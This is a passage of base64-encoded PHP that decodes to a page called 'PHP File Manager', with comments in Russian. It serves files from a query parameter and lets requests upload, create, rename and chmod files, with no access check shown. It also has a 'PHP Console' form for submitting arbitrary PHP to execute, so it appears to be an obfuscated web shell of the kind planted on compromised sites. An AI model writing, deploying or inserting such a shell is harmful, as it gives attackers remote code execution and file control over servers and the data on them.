zkgXHUwNDM0XHUwNDM4XHUwNDQwXHUwNDM1XHUwNDNhXHUwNDQyXHUwNDNlXHUwNDQwXHUwNDM4XHUwNDM4XHJcbiRmaWxlcyA9IHNjYW5kaXIoJGRpcmVjdG9yeSk7XHJcblxyXG5cL1wvIFx1MDQyMFx1MDQzMFx1MDQzN1x1MDQzNFx1MDQzNVx1MDQzYlx1MDQzOFx1MDQzYyBcdTA0M2ZcdTA0MzBcdTA0M2ZcdTA0M2FcdTA0MzggXHUwNDM4IFx1MDQ0NFx1MDQzMFx1MDQzOVx1MDQzYlx1MDQ0YlxyXG4kZGlycyA9IFtdO1xyXG4kbm9uX2RpcnMgPSBbXTtcclxuXHJcbmZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSkge1xyXG4gICAgaWYgKCRmaWxlICE9PSAnLicgJiYgJGZpbGUgIT09ICcuLicpIHtcclxuICAgICAgICAkZmlsZVBhdGggPSAkZGlyZWN0b3J5IC4gJ1wvJyAuICRmaWxlO1xyXG4gICAgICAgIGlmIChpc19kaXIoJGZpbGVQYXRoKSkge1xyXG4gICAgICAgICAgICAkZGlyc1tdID0gJGZpbGU7XHJcbiAgICAgICAgfSBlbHNlIHtcclxuICAgICAgICAgICAgJG5vbl9kaXJzW10gPSAkZmlsZTtcclxuICAgICAgICB9XHJcbiAgICB9XHJcbn1cclxuXHJcblwvXC8gXHUwNDIxXHUwNDNlXHUwNDQwXHUwNDQyXHUwNDM4XHUwNDQwXHUwNDNlXHUwNDMyXHUwNDNhXHUwNDMwIFx1MDQzZlx1MDQzMFx1MDQzZlx1MDQzZVx1MDQzYSBcdTA0MzggXHUwNDQ0XHUwNDMwXHUwNDM5XHUwNDNiXHUwNDNlXHUwNDMyXHJcbnNvcnQoJGRpcnMpO1xyXG5zb3J0KCRub25fZGlycyk7XHJcblxyXG5cL1wvIFx1MDQxZVx1MDQzMVx1MDQ0YVx1MDQzNVx1MDQzNFx1MDQzOFx1MDQzZFx1MDQ0Zlx1MDQzNVx1MDQzYyBcdTA0M2ZcdTA0MzBcdTA0M2ZcdTA0M2FcdTA0MzggXHUwNDM4IFx1MDQ0NFx1MDQzMFx1MDQzOVx1MDQzYlx1MDQ0YlxyXG4kZmlsZXMgPSBhcnJheV9tZXJnZSgkZGlycywgJG5vbl9kaXJzKTtcclxuXHJcblwvXC8gXHUwNDI0XHUwNDQzXHUwNDNkXHUwNDNhXHUwNDQ2XHUwNDM4XHUwNDRmIFx1MDQzNFx1MDQzYlx1MDQ0ZiBcdTA0MzNcdTA0MzVcdTA0M2RcdTA0MzVcdTA0NDBcdTA0MzBcdTA0NDZcdTA0MzhcdTA0MzggXHUwNDNmXHUwNDQzXHUwNDQyXHUwNDM4IFx1MDQ0MSBcdTA0M2FcdTA0M2JcdTA0MzhcdTA0M2FcdTA0MzBcdTA0MzFcdTA0MzVcdTA0M2JcdTA0NGNcdTA0M2RcdTA0NGJcdTA0M2NcdTA0MzggXHUwNDQ3XHUwNDMwXHUwNDQxXHUwNDQyXHUwNDRmXHUwNDNjXHUwNDM4XHJcbmZ1bmN0aW9uIGdlbmVyYXRlQ2xpY2thYmxlUGF0aCgkcGF0aCkge1xyXG4gICAgJHBhcnRzID0gZXhwbG9kZShESVJFQ1RPUllfU0VQQVJBVE9SLCAkcGF0aCk7XHJcbiAgICAkY3VycmVudFBhdGggPSAnJztcclxuICAgICRjbGlja2FibGVQYXRoID0gJyc7XHJcblxyXG4gICAgZm9yZWFjaCAoJHBhcnRzIGFzICRpbmRleCA9PiAkcGFydCkge1xyXG4gICAgICAgICRjdXJyZW50UGF0aCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJHBhcnQ7XHJcbiAgICAgICAgJGNsaWNrYWJsZVBhdGggLj0gJzxhIGhyZWY9XCI/ZGlyPScgLiBzYWZlUGF0aCgkY3VycmVudFBhdGgpIC4gJ1wiPicgLiBzYWZlUGF0aCgkcGFydCkgLiAnPFwvYT4nO1xyXG4gICAgICAgIGlmICgkaW5kZXggPCBjb3VudCgkcGFydHMpIC0gMSkge1xyXG4gICAgICAgICAgICAkY2xpY2thYmxlUGF0aCAuPSAnIFwvICc7XHJcbiAgICAgICAgfVxyXG4gICAgfVxyXG5cclxuICAgIHJldHVybiAkY2xpY2thYmxlUGF0aDtcclxufVxyXG5cclxuXC9cLyBcdTA0MWZcdTA0NDBcdTA0M2VcdTA0MzJcdTA0MzVcdTA0NDBcdTA0M2FcdTA0MzAgXHUwNDNkXHUwNDMwIFx1MDQzN1x1MDQzMFx1MDQzZlx1MDQ0MFx1MDQzZVx1MDQ0MSBcdTA0NDFcdTA0M2VcdTA0MzRcdTA0MzVcdTA0NDBcdTA0MzZcdTA0MzhcdTA0M2NcdTA0M2VcdTA0MzNcdTA0M2UgXHUwNDQ0XHUwNDMwXHUwNDM5XHUwNDNiXHUwNDMwIFx1MDQzNFx1MDQzYlx1MDQ0ZiBcdTA0M2NcdTA0M2VcdTA0MzRcdTA0MzBcdTA0M2JcdTA0NGNcdTA0M2RcdTA0M2VcdTA0MzNcdTA0M2UgXHUwNDNlXHUwNDNhXHUwNDNkXHUwNDMwXHJcbmlmIChpc3NldCgkX0dFVFsnZmlsZSddKSkge1xyXG4gICAgJGZpbGVQYXRoID0gc2FuaXRpemVQYXRoKCRkaXJlY3RvcnkgLiAnXC8nIC4gJF9HRVRbJ2ZpbGUnXSk7XHJcbiAgICBpZiAoaXNfZmlsZSgkZmlsZVBhdGgpKSB7XHJcbiAgICAgICAgZWNobyBmaWxlX2dldF9jb250ZW50cygkZmlsZVBhdGgpO1xyXG4gICAgfVxyXG4gICAgZXhpdDtcclxufVxyXG5cclxuXC9cLyBcdTA0MWVcdTA0MzFcdTA0NDBcdTA0MzBcdTA0MzFcdTA0M2VcdTA0NDJcdTA0M2FcdTA0MzAgXHUwNDM4XHUwNDM3XHUwNDNjXHUwNDM1XHUwNDNkXHUwNDM1XHUwNDNkXHUwNDM4XHUwNDM5IFx1MDQzZlx1MDQ0MFx1MDQzMFx1MDQzMiwgXHUwNDNmXHUwNDM1XHUwNDQwXHUwNDM1XHUwNDM4XHUwNDNjXHUwNDM1XHUwNDNkXHUwNDNlXHUwNDMyXHUwNDMwXHUwNDNkXHUwNDM4XHUwNDRmIFx1MDQzOCBcdTA0MzhcdTA0MzdcdTA0M2NcdTA0MzVcdTA0M2RcdTA0MzVcdTA0M2RcdTA0MzhcdTA0NGYgXHUwNDMyXHUwNDQwXHUwNDM1XHUwNDNjXHUwNDM1XHUwNDNkXHUwNDM4XHJcblwvXC8gXHUwNDFlXHUwNDMxXHUwNDQwXHUwNDMwXHUwNDMxXHUwNDNlXHUwNDQyXHUwNDNhXHUwNDMwIFx1MDQzOFx1MDQzN1x1MDQzY1x1MDQzNVx1MDQzZFx1MDQzNVx1MDQzZFx1MDQzOFx1MDQzOSBcdTA0M2ZcdTA0NDBcdTA0MzBcdTA0MzIsIFx1MDQzZlx1MDQzNVx1MDQ0MFx1MDQzNVx1MDQzOFx1MDQzY1x1MDQzNVx1MDQzZFx1MDQzZVx1MDQzMlx1MDQzMFx1MDQzZFx1MDQzOFx1MDQ0ZiBcdTA0MzggXHUwNDM4XHUwNDM3XHUwNDNjXHUwNDM1XHUwNDNkXHUwNDM1XHUwNDNkXHUwNDM4XHUwNDRmIFx1MDQzMlx1MDQ0MFx1MDQzNVx1MDQzY1x1MDQzNVx1MDQzZFx1MDQzOFxyXG5pZiAoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10gPT09ICdQT1NUJykge1xyXG4gICAgJGFjdGlvbiA9ICRfUE9TVFsnYWN0aW9uJ10gPz8gJyc7XHJcbiAgICAkZmlsZVBhdGggPSBzYW5pdGl6ZVBhdGgoJGRpcmVjdG9yeSAuICdcLycgLiAkX1BPU1RbJ2ZpbGUnXSA/PyAnJyk7XHJcbiBpZiAoJGFjdGlvbiA9PT0gJ2NyZWF0ZUZpbGUnKSB7XHJcbiAgICAgICAgXC9cLyBcdTA0MjFcdTA0M2VcdTA0MzdcdTA0MzRcdTA0MzBcdTA0M2RcdTA0MzhcdTA0MzUgXHUwNDNkXHUwNDNlXHUwNDMyXHUwNDNlXHUwNDMzXHUwNDNlIFx1MDQ0NFx1MDQzMFx1MDQzOVx1MDQzYlx1MDQzMFxyXG4gICAgICAgICRuZXdGaWxlTmFtZSA9ICRfUE9TVFsnbmV3RmlsZU5hbWUnXSA/PyAnJztcclxuICAgICAgICBpZiAoJG5ld0ZpbGVOYW1lKSB7XHJcbiAgICAgICAgICAgICRmaWxlVG9DcmVhdGUgPSAkZGlyZWN0b3J5IC4gJ1wvJyAuICRuZXdGaWxlTmFtZTtcclxuICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygkZmlsZVRvQ3JlYXRlKSkge1xyXG4gICAgICAgICAgICAgICAgdG91Y2goJGZpbGVUb0NyZWF0ZSk7ICBcL1wvIFx1MDQyMVx1MDQzZVx1MDQzN1x1MDQzNFx1MDQzMFx1MDQ1MVx1MDQzYyBcdTA0M2ZcdTA0NDNcdTA0NDFcdTA0NDJcdTA0M2VcdTA0MzkgXHUwNDQ0XHUwNDMwXHUwNDM5XHUwNDNiXHJcbiAgICAgICAgICAgIH0gZWxzZSB7XHJcbiAgICAgICAgICAgICAgICBlY2hvIFwiRmlsZSBhbHJlYWR5IGV4aXN0cyFcIjtcclxuICAgICAgICAgICAgfVxyXG4gICAgICAgIH1cclxuICAgIH1cclxuaWYgKCRhY3Rpb24gPT09ICdjcmVhdGVGb2xkZXInKSB7XHJcbiAgICAgICAgXC9cLyBcdTA0MjFcdTA0M2VcdTA0MzdcdTA0MzRcdTA0MzBcdTA0M2RcdTA0MzhcdTA0MzUgXHUwNDNkXHUwNDNlXHUwNDMyXHUwNDNlXHUwNDM5IFx1MDQzZlx1MDQzMFx1MDQzZlx1MDQzYVx1MDQzOFxyXG4gICAgICAgICRuZXdGb2xkZXJOYW1lID0gJF9QT1NUWyduZXdGb2xkZXJOYW1lJ10gPz8gJyc7XHJcbiAgICAgICAgaWYgKCRuZXdGb2xkZXJOYW1lKSB7XHJcbiAgICAgICAgICAgICRmb2xkZXJUb0NyZWF0ZSA9ICRkaXJlY3RvcnkgLiAnXC8nIC4gJG5ld0ZvbGRlck5hbWU7XHJcbiAgICAgICAgICAgIGlmICghaXNfZGlyKCRmb2xkZXJUb0NyZWF0ZSkpIHtcclxuICAgICAgICAgICAgICAgIG1rZGlyKCRmb2xkZXJUb0NyZWF0ZSk7ICBcL1wvIFx1MDQyMVx1MDQzZVx1MDQzN1x1MDQzNFx1MDQzMFx1MDQ1MVx1MDQzYyBcdTA0M2RcdTA0M2VcdTA0MzJcdTA0NDNcdTA0NGUgXHUwNDNmXHUwNDMwXHUwNDNmXHUwNDNhXHUwNDQzXHJcbiAgICAgICAgICAgIH0gZWxzZSB7XHJcbiAgICAgICAgICAgICAgICBlY2hvIFwiRm9sZGVyIGFscmVhZHkgZXhpc3RzIVwiO1xyXG4gICAgICAgICAgICB9XHJcbiAgICAgICAgfVxyXG4gICAgfVxyXG5cclxuICAgIGlmICgkYWN0aW9uID09PSAndXBsb2FkRmlsZScpIHtcclxuICAgICAgICBcL1wvIFx1MDQxN1x1MDQzMFx1MDQzM1x1MDQ0MFx1MDQ0M1x1MDQzN1x1MDQzYVx1MDQzMCBcdTA0NDRcdTA0MzBcdTA0MzlcdTA0M2JcdTA0MzBcclxuICAgICAgICBpZiAoaXNzZXQoJF9GSUxFU1snZmlsZVRvVXBsb2FkJ10pICYmICRfRklMRVNbJ2ZpbGVUb1VwbG9hZCddWydlcnJvciddID09IDApIHtcclxuICAgICAgICAgICAgJHRhcmdldEZpbGUgPSAkZGlyZWN0b3J5IC4gJ1wvJyAuIGJhc2VuYW1lKCRfRklMRVNbJ2ZpbGVUb1VwbG9hZCddWyduYW1lJ10pO1xyXG4gICAgICAgICAgICBpZiAobW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2ZpbGVUb1VwbG9hZCddWyd0bXBfbmFtZSddLCAkdGFyZ2V0RmlsZSkpIHtcclxuICAgICAgICAgICAgICAgIGVjaG8gXCJUaGUgZmlsZSBoYXMgYmVlbiB1cGxvYWRlZC5cIjtcclxuICAgICAgICAgICAgfSBlbHNlIHtcclxuICAgICAgICAgICAgICAgIGVjaG8gXCJTb3JyeSwgdGhlcmUgd2FzIGFuIGVycm9yIHVwbG9hZGluZyB5b3VyIGZpbGUuXCI7XHJcbiAgICAgICAgICAgIH1cclxuICAgICAgICB9XHJcbiAgICB9XHJcbiAgICBpZiAoaXNfZmlsZSgkZmlsZVBhdGgpKSB7XHJcbiAgICAgICAgXC9cLyBcdTA0MTRcdTA0M2JcdTA0NGYgXHUwNDQ0XHUwNDMwXHUwNDM5XHUwNDNiXHUwNDNlXHUwNDMyIFx1MDQ0MFx1MDQzMFx1MDQzN1x1MDQ0MFx1MDQzNVx1MDQ0OFx1MDQzMFx1MDQzNVx1MDQzYyBcdTA0MzJcdTA0NDFcdTA0MzUgXHUwNDM0XHUwNDM1XHUwNDM5XHUwNDQxXHUwNDQyXHUwNDMyXHUwNDM4XHUwNDRmXHJcbiAgICAgICAgaWYgKCRhY3Rpb24gPT09ICdjaG1vZCcpIHtcclxuICAgICAgICAgICAgJGNobW9kID0gJF9QT1NUWydjaG1vZCddID8/ICcnO1xyXG4gICAgICAgICAgICBpZiAoJGNobW9kKSB7XHJcbiAgICAgICAgICAgICAgICBjaG1vZCgkZmlsZVBhdGgsIG9jdGRlYygkY2htb2QpKTtcclxuICAgICAgICAgICAgfVxyXG4gICAgICAgIH1cclxuXHJcbiAgICAgICAgaWYgKCRhY3Rpb24gPT09ICdyZW5hbWUnKSB7XHJcbiAgICAgICAgICAgICRuZXdOYW1lID0gJF9QT1NUWyduZXdOYW1lJ10gPz8gJyc7XHJcbiAgICAgICAgICAgIGlmICgkbmV3TmFtZSkge1xyXG4gICAgICAgICAgICAgICAgcmVuYW1lKCRmaWxlUGF0aCwgZGlybmFtZSgkZmlsZVBhdGgpIC4gJ1wvJyAuICRuZXdOYW1lKTtcclxuICAgICAgICAgICAgfVxyXG4gICAgICAgIH1cclxuXHJcbiAgICAgICAgaWYgKCRhY3Rpb24gPT09ICd0b3VjaCcpIHtcclxuICAgICAgICAgICAgdG91Y2goJGZpbGVQYXRoKTtcclxuICAgICAgICB9XHJcbiAgICB9IGVsc2VpZiAoaXNfZGlyKCRmaWxlUGF0aCkpIHtcclxuICAgICAgICBcL1wvIFx1MDQxNFx1MDQzYlx1MDQ0ZiBcdTA0M2ZcdTA0MzBcdTA0M2ZcdTA0M2VcdTA0M2EgXHUwNDQwXHUwNDMwXHUwNDM3XHUwNDQwXHUwNDM1XHUwNDQ4XHUwNDMwXHUwNDM1XHUwNDNjIFx1MDQ0Mlx1MDQzZVx1MDQzYlx1MDQ0Y1x1MDQzYVx1MDQzZSBjaG1vZCBcdTA0MzggcmVuYW1lXHJcbiAgICAgICAgaWYgKCRhY3Rpb24gPT09ICdjaG1vZCcpIHtcclxuICAgICAgICAgICAgJGNobW9kID0gJF9QT1NUWydjaG1vZCddID8/ICcnO1xyXG4gICAgICAgICAgICBpZiAoJGNobW9kKSB7XHJcbiAgICAgICAgICAgICAgICBjaG1vZCgkZmlsZVBhdGgsIG9jdGRlYygkY2htb2QpKTtcclxuICAgICAgICAgICAgfVxyXG4gICAgICAgIH1cclxuXHJcbiAgICAgICAgaWYgKCRhY3Rpb24gPT09ICdyZW5hbWUnKSB7XHJcbiAgICAgICAgICAgICRuZXdOYW1lID0gJF9QT1NUWyduZXdOYW1lJ10gPz8gJyc7XHJcbiAgICAgICAgICAgIGlmICgkbmV3TmFtZSkge1xyXG4gICAgICAgICAgICAgICAgcmVuYW1lKCRmaWxlUGF0aCwgZGlybmFtZSgkZmlsZVBhdGgpIC4gJ1wvJyAuICRuZXdOYW1lKTtcclxuICAgICAgICAgICAgfVxyXG4gICAgICAgIH1cclxuICAgIH1cclxufVxyXG5cclxuPz5cclxuPCFET0NUWVBFIGh0bWw+XHJcbjxodG1sIGxhbmc9XCJlblwiPlxyXG48aGVhZD5cclxuICAgIDxtZXRhIGNoYXJzZXQ9XCJVVEYtOFwiPlxyXG4gICAgPG1ldGEgbmFtZT1cInZpZXdwb3J0XCIgY29udGVudD1cIndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjBcIj5cclxuICAgIDx0aXRsZT5QSFAgRmlsZSBNYW5hZ2VyPFwvdGl0bGU+XHJcbiAgICA8c3R5bGU+XHJcbiAgICAgICAgYm9keSB7XHJcbiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiAnQXJpYWwnLCBzYW5zLXNlcmlmO1xyXG4gICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZjRmN2ZjO1xyXG4gICAgICAgICAgICBtYXJnaW46IDA7XHJcbiAgICAgICAgICAgIHBhZGRpbmc6IDA7XHJcbiAgICAgICAgICAgIGJveC1zaXppbmc6IGJvcmRlci1ib3g7XHJcbiAgICAgICAgfVxyXG5cclxuICAgICAgICBoMSB7XHJcbiAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjtcclxuICAgICAgICAgICAgY29sb3I6ICMzMzM7XHJcbiAgICAgICAgICAgIHBhZGRpbmc6IDIwcHg7XHJcbiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMyQzNFNTA7XHJcbiAgICAgICAgICAgIGNvbG9yOiB3aGl0ZTtcclxuICAgICAgICAgICAgbWFyZ2luOiAwO1xyXG4gICAgICAgIH1cclxuLmNyZWF0ZS1hY3Rpb25zIHtcclxuICAgIG1hcmdpbi10b3A6IDIwcHg7XHJcbiAgICB0ZXh0LWFsaWduOiBjZW50ZXI7XHJcbn1cclxuXHJcbi5jcmVhdGUtYnV0dG9uIHtcclxuICAgIGJhY2tncm91bmQtY29sb3I6ICMzNDk4ZGI7XHJcbiAgICBjb2xvcjogd2hpdGU7XHJcbiAgICBib3JkZXI6IG5vbmU7XHJcbiAgICBwYWRkaW5nOiAxMHB4IDIwcHg7XHJcbiAgICBtYXJnaW46IDVweDtcclxuICAgIGJvcmRlci1yYWRpdXM6IDVweDtcclxuICAgIGN1cnNvcjogcG9pbnRlcjtcclxufVxyXG5cclxuLmNyZWF0ZS1idXR0b246aG92ZXIge1xyXG4gICAgYmFja2dyb3VuZC1jb2xvcjogIzI5ODBiOTtcclxufVxyXG5cclxuLmNyZWF0ZS1hY3Rpb25zIGZvcm0ge1xyXG4gICAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xyXG4gICAgbWFyZ2luOiA1cHg7XHJcbn1cclxuXHJcbiAgICAgICAgLmNvbnRhaW5lciB7XHJcbiAgICAgICAgICAgIG1heC13aWR0aDogMTIwMHB4O1xyXG4gICAgICAgICAgICBtYXJnaW46IDIwcHggYXV0bztcclxuICAgICAgICAgICAgcGFkZGluZzogMjBweDtcclxuICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogI2ZmZmZmZjtcclxuICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogMTBweDtcclxuICAgICAgICAgICAgYm94LXNoYWRvdzogMCA0cHggOHB4IHJnYmEoMCwgMCwgMCwgMC4xKTtcclxuICAgICAgICB9XHJcblxyXG4gICAgICAgIC5jbWQsIC5jb25zb2xlIHtcclxuICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzM0NDk1RTtcclxuICAgICAgICAgICAgY29sb3I6ICNmZmY7XHJcbiAgICAgICAgICAgIHBhZGRpbmc6IDIwcHg7XHJcbiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDIwcHg7XHJcbiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDhweDtcclxuICAgICAgICB9XHJcblxyXG4gICAgICAgIC5jbWQge1xyXG4gICAgICAgICAgICBkaXNwbGF5OiBmbGV4O1xyXG4gICAgICAgICAgICBqdXN0aWZ5LWNvbnRlbnQ6IHNwYWNlLWJldHdlZW47XHJcbiAgICAgICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7XHJcbiAgICAgICAgfVxyXG5cclxuICAgICAgICAuY21kIGJ1dHRvbiB7XHJcbiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMxQUJDOUM7XHJcbiAgICAgICAgICAgIGNvbG9yOiB3aGl0ZTtcclxuICAgICAgICAgICAgYm9yZGVyOiBub25lO1xyXG4gICAgICAgICAgICBwYWRkaW5nOiA4cHggMTVweDtcclxuICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNXB4O1xyXG4gICAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7XHJcbiAgICAgICAgfVxyXG5cclxuICAgICAgICAuY21kIGJ1dHRvbjpob3ZlciB7XHJcbiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMxNkEwODU7XHJcbiAgICAgICAgfVxyXG5cclxuICAgICAgICAubmF2aWdhdGlvbiB7XHJcbiAgICAgICAgICAgIG1hcmdpbjogMjBweCAwO1xyXG4gICAgICAgIH1cclxuXHJcbiAgICAgICAgLm5hdmlnYXRpb24gYSB7XHJcbiAgICAgICAgICAgIHRleHQtZGVjb3JhdGlvbjogbm9uZTtcclxuICAgICAgICAgICAgY29sb3I6ICMyOTgwQjk7XHJcbiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiBib2xkO1xyXG4gICAgICAgIH1cclxuXHJcbiAgICAgICAgLm5hdmlnYXRpb24gYTpob3ZlciB7XHJcbiAgICAgICAgICAgIHRleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lO1xyXG4gICAgICAgIH1cclxuXHJcbiAgICAgICAgLmZpbGUtdGFibGUge1xyXG4gICAgICAgICAgICB3aWR0aDogMTAwJTtcclxuICAgICAgICAgICAgYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZTtcclxuICAgICAgICAgICAgbWFyZ2luLXRvcDogMjBweDtcclxuICAgICAgICB9XHJcblxyXG4gICAgICAgIC5maWxlLXRhYmxlIHRoLCAuZmlsZS10YWJsZSB0ZCB7XHJcbiAgICAgICAgICAgIHBhZGRpbmc6IDEycHg7XHJcbiAgICAgICAgICAgIHRleHQtYWxpZ246IGxlZnQ7XHJcbiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkICNkZGQ7XHJcbiAgICAgICAgfVxyXG5cclxuICAgICAgICAuZmlsZS10YWJsZSB0aCB7XHJcbiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmMmYyZjI7XHJcbiAgICAgICAgfVxyXG5cclxuICAgICAgICAuZmlsZS10YWJsZSB0ZCB7XHJcbiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmYWZhZmE7XHJcbiAgICAgICAgfVxyXG5cclxuICAgICAgICAuZmlsZS10YWJsZSB0ZCBhIHtcclxuICAgICAgICAgICAgY29sb3I6ICMyOTgwQjk7XHJcbiAgICAgICAgICAgIHRleHQtZGVjb3JhdGlvbjogbm9uZTtcclxuICAgICAgICB9XHJcblxyXG4gICAgICAgIC5maWxlLXRhYmxlIHRkIGE6aG92ZXIge1xyXG4gICAgICAgICAgICB0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTtcclxuICAgICAgICB9XHJcblxyXG4gICAgICAgIC5jb25zb2xlIHRleHRhcmVhIHtcclxuICAgICAgICAgICAgd2lkdGg6IDEwMCU7XHJcbiAgICAgICAgICAgIGhlaWdodDogMTIwcHg7XHJcbiAgICAgICAgICAgIGJhY2tncm91bmQ6ICMyQzNFNTA7XHJcbiAgICAgICAgICAgIGNvbG9yOiB3aGl0ZTtcclxuICAgICAgICAgICAgYm9yZGVyOiBub25lO1xyXG4gICAgICAgICAgICBib3JkZXItcmFkaXVzOiA1cHg7XHJcbiAgICAgICAgICAgIHBhZGRpbmc6IDEwcHg7XHJcbiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiAnQ291cmllciBOZXcnLCBtb25vc3BhY2U7XHJcbiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTRweDtcclxuICAgICAgICB9XHJcblxyXG4gICAgICAgIC5jb25zb2xlIGJ1dHRvbiB7XHJcbiAgICAgICAgICAgIG1hcmdpbi10b3A6IDEwcHg7XHJcbiAgICAgICAgICAgIHBhZGRpbmc6IDhweCAxNXB4O1xyXG4gICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjRTc0QzNDO1xyXG4gICAgICAgICAgICBjb2xvcjogd2hpdGU7XHJcbiAgICAgICAgICAgIGJvcmRlcjogbm9uZTtcclxuICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNXB4O1xyXG4gICAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7XHJcbiAgICAgICAgfVxyXG5cclxuICAgICAgICAuY29uc29sZSBidXR0b246aG92ZXIge1xyXG4gICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjQzAzOTJCO1xyXG4gICAgICAgIH1cclxuXHJcbiAgICAgICAgLm91dHB1dCB7XHJcbiAgICAgICAgICAgIG1hcmdpbi10b3A6IDE1cHg7XHJcbiAgICAgICAgICAgIHBhZGRpbmc6IDE1cHg7XHJcbiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMxQzI4MzM7XHJcbiAgICAgICAgICAgIGNvbG9yOiAjZWNmMGYxO1xyXG4gICAgICAgICAgICBib3JkZXItcmFkaXVzOiA1cHg7XHJcbiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiAnQ291cmllciBOZXcnLCBtb25vc3BhY2U7XHJcbiAgICAgICAgfVxyXG5cclxuICAgICAgICBcLyogXHUwNDFjXHUwNDNlXHUwNDM0XHUwNDMwXHUwNDNiXHUwNDRjXHUwNDNkXHUwNDRiXHUwNDM1IFx1MDQzZVx1MDQzYVx1MDQzZFx1MDQzMCAqXC9cclxuICAgICAgICAubW9kYWwge1xyXG4gICAgICAgICAgICBkaXNwbGF5OiBub25lO1xyXG4gICAgICAgICAgICBwb3NpdGlvbjogZml4ZWQ7XHJcbiAgICAgICAgICAgIHotaW5kZXg6IDE7XHJcbiAgICAgICAgICAgIGxlZnQ6IDA7XHJcbiAgICAgICAgICAgIHRvcDogMDtcclxuICAgICAgICAgICAgd2lkdGg6IDEwMCU7XHJcbiAgICAgICAgICAgIGhlaWdodDogMTAwJTtcclxuICAgICAgICAgICAgb3ZlcmZsb3c6IGF1dG87XHJcbiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHJnYmEoMCwgMCwgMCwgMC40KTtcclxuICAgICAgICB9XHJcblxyXG4gICAgICAgIC5tb2RhbC1jb250ZW50IHtcclxuICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogI2ZlZmVmZTtcclxuICAgICAgICAgICAgbWFyZ2luOiAxNSUgYXV0bztcclxuICAgICAgICAgICAgcGFkZGluZzogMjBweDtcclxuICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgIzg4ODtcclxuICAgICAgICAgICAgd2lkdGg6IDgwJTtcclxuICAgICAgICAgICAgbWF4LXdpZHRoOiA2MDBweDtcclxuICAgICAgICB9XHJcblxyXG4gICAgICAgIC5jbG9zZS1tb2RhbCB7XHJcbiAgICAgICAgICAgIGNvbG9yOiAjYWFhO1xyXG4gICAgICAgICAgICBmbG9hdDogcmlnaHQ7XHJcbiAgICAgICAgICAgIGZvbnQtc2l6ZTogMjhweDtcclxuICAgICAgICAgICAgZm9udC13ZWlnaHQ6IGJvbGQ7XHJcbiAgICAgICAgfVxyXG5cclxuICAgICAgICAuY2xvc2UtbW9kYWw6aG92ZXIsXHJcbiAgICAgICAgLmNsb3NlLW1vZGFsOmZvY3VzIHtcclxuICAgICAgICAgICAgY29sb3I6IGJsYWNrO1xyXG4gICAgICAgICAgICB0ZXh0LWRlY29yYXRpb246IG5vbmU7XHJcbiAgICAgICAgICAgIGN1cnNvcjogcG9pbnRlcjtcclxuICAgICAgICB9XHJcblxyXG4gICAgPFwvc3R5bGU+XHJcbjxcL2hlYWQ+XHJcbjxib2R5PlxyXG5cclxuICAgIDxoMT5QSFAgRmlsZSBNYW5hZ2VyPFwvaDE+XHJcblxyXG4gICAgPGRpdiBjbGFzcz1cImNvbnRhaW5lclwiPlxyXG4gICAgICAgIDwhLS0gXHUwNDFhXHUwNDNlXHUwNDNkXHUwNDQxXHUwNDNlXHUwNDNiXHUwNDRjIC0tPlxyXG4gICAgICAgIDxkaXYgY2xhc3M9XCJjb25zb2xlXCI+XHJcbiAgICAgICAgICAgIDxoMj5QSFAgQ29uc29sZTxcL2gyPlxyXG4gICAgICAgICAgICA8Zm9ybSBtZXRob2Q9XCJQT1NUXCI+XHJcbiAgICAgICAgICAgICAgICA8dGV4dGFyZWEgbmFtZT1cInBocENvZGVcIiByb3dzPVwiNVwiIHBsYWNlaG9sZGVyPVwiV3JpdGUgeW91ciBQSFAgY29kZSBoZXJlLi4uXCI+PD9waHAgZWNobyBpc3NldCgkX1BPU1RbJ3BocENvZGUnXSkgPyBodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncGhwQ29kZSddKSA6ICcnOyA/PjxcL3RleHRhcmVhPlxyXG4gICAgICAgICAgICAgICAgPGJyPlxyXG4gICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCI+RXhlY3V0ZSBDb2RlPFwvYnV0dG9uPlxyXG4gICAgICAgICAgICA8XC9mb3JtPlxyXG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwib3V0cHV0XCI+XHJcbiAgICAgICAgICAgICAgICA8aDM+T3V0cHV0OjxcL2gzPlxyXG4gICAgICAgI